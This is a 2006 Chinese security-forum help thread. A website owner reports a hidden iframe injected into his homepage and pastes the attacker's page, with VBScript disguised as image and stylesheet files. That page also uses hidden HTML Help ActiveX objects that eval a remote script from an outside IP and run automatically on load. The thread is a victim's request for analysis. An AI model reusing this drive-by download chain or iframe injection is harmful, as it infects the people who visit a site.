瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 【求助】请大家帮忙看看这段代码是不是灰鸽子的,我网页上有

1   1  /  1  页   跳转

【求助】请大家帮忙看看这段代码是不是灰鸽子的,我网页上有

【求助】请大家帮忙看看这段代码是不是灰鸽子的,我网页上有

今天打开自己网页,发现总弹出个窗口,提示“仅在HTML帮助中才有此功能”,于是仔细观察了下打开网页的进度,发现状态栏显示正在打开...../joke.htm,马上查看页面源代码,找到这段代码,发现是用了个iframe在首页嵌入了页面<iframe src="http://61.144.162.10/dong/dong/web/joke.htm" width="0" height="0"
frameborder="0"></iframe>,打开他页面,查看源代码后,代码写的很散,阅读很费力,于是另存为页面,发现如下代码,请朋友们帮忙看看(注:我不确定此页面是否有病毒,请大家小心打开)。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0043)http://61.144.162.10/dong/dong/web/joke.htm -->
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="MSHTML 6.00.3790.449" name=GENERATOR></HEAD>
<BODY>
<CENTER><FONT color=red>对不起,您访问的页面不存在!</FONT>
<CENTER>
<SCRIPT language=VScript src="joke_files/young.gif"></SCRIPT>

<SCRIPT language=VScript src="joke_files/young.css"></SCRIPT>

<DIV style="DISPLAY: none">
<OBJECT id=news358 type=application/x-oleobject
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><PARAM NAME="Command" VALUE="Related Topics, MENU"><PARAM NAME="Window" VALUE="$global_ifl"><PARAM NAME="Item1" VALUE="command;/windows/help/apps.chm"></OBJECT>
<OBJECT id=news566 type=application/x-oleobject
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><PARAM NAME="Command" VALUE="Related Topics, MENU"><PARAM NAME="Window" VALUE="$global_ifl"><PARAM NAME="Item1" VALUE='command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://61.144.162.10/dong/dong/web/young.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'></OBJECT></DIV>
<SCRIPT>news358.Click();setTimeout("news566.Click();",0);</SCRIPT>
</CENTER></CENTER></BODY></HTML>
最后编辑2006-01-09 11:16:02
分享到:
gototop
 

同时他在我服务器上传了另外一个文件,是asp的,里面代码太长了,我贴不上来,请到这个地址查看,谢谢,哪位大侠可以帮忙解码一下,看看写的是什么?

http://www.blueidea.com/bbs/NewsDetail.asp?lp=1&id=2416193
gototop
 

发现机器里面有一个wowexec.exe进程,查了一下,这个是系统进程,但为什么他前面有空格??而且我查到的其他资料,又好像说这个文件是病毒????

附件附件:

下载次数:352
文件类型:image/pjpeg
文件大小:
上传时间:2006-1-9 11:16:02
描述:



gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT